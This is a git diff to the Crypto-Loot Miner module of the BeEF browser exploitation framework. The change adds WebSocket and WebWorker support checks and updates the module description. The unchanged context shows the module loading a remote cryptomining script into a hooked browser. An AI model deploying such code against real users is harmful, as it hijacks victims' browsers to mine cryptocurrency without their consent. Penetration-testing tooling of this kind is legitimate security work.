diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js index e3d3c4927..3e845e37a 100644 --- a/modules/misc/cryptoloot_miner/command.js +++ b/modules/misc/cryptoloot_miner/command.js @@ -13,6 +13,18 @@ beef.execute(function() { var comm_id = <%= @command_id %>; var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds + if (!beef.browser.hasWebSocket()) { + beef.debug('[CryptoLoot] Error: browser does not support WebSockets'); + beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error()); + return; + } + + if (!beef.browser.hasWebWorker()) { + beef.debug('[CryptoLoot] Error: browser does not support WebWorkers'); + beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error()); + return; + } + beef.debug("[CryptoLoot] Loading library..."); beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library..."); beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js'); diff --git a/modules/misc/cryptoloot_miner/config.yaml b/modules/misc/cryptoloot_miner/config.yaml index 12335dc35..3a9764fa0 100644 --- a/modules/misc/cryptoloot_miner/config.yaml +++ b/modules/misc/cryptoloot_miner/config.yaml @@ -13,7 +13,7 @@ beef: enable: true category: "Misc" name: "Crypto-Loot Miner" - description: "This module starts the Crypto-Loot Miner." + description: "This module starts the Crypto-Loot Miner. It's worth noting that the module will not work with the default Crypto-Loot proxies as the certificates for the web socket servers are self-signed." authors: ["qutorial"] target: user_notify: ['ALL']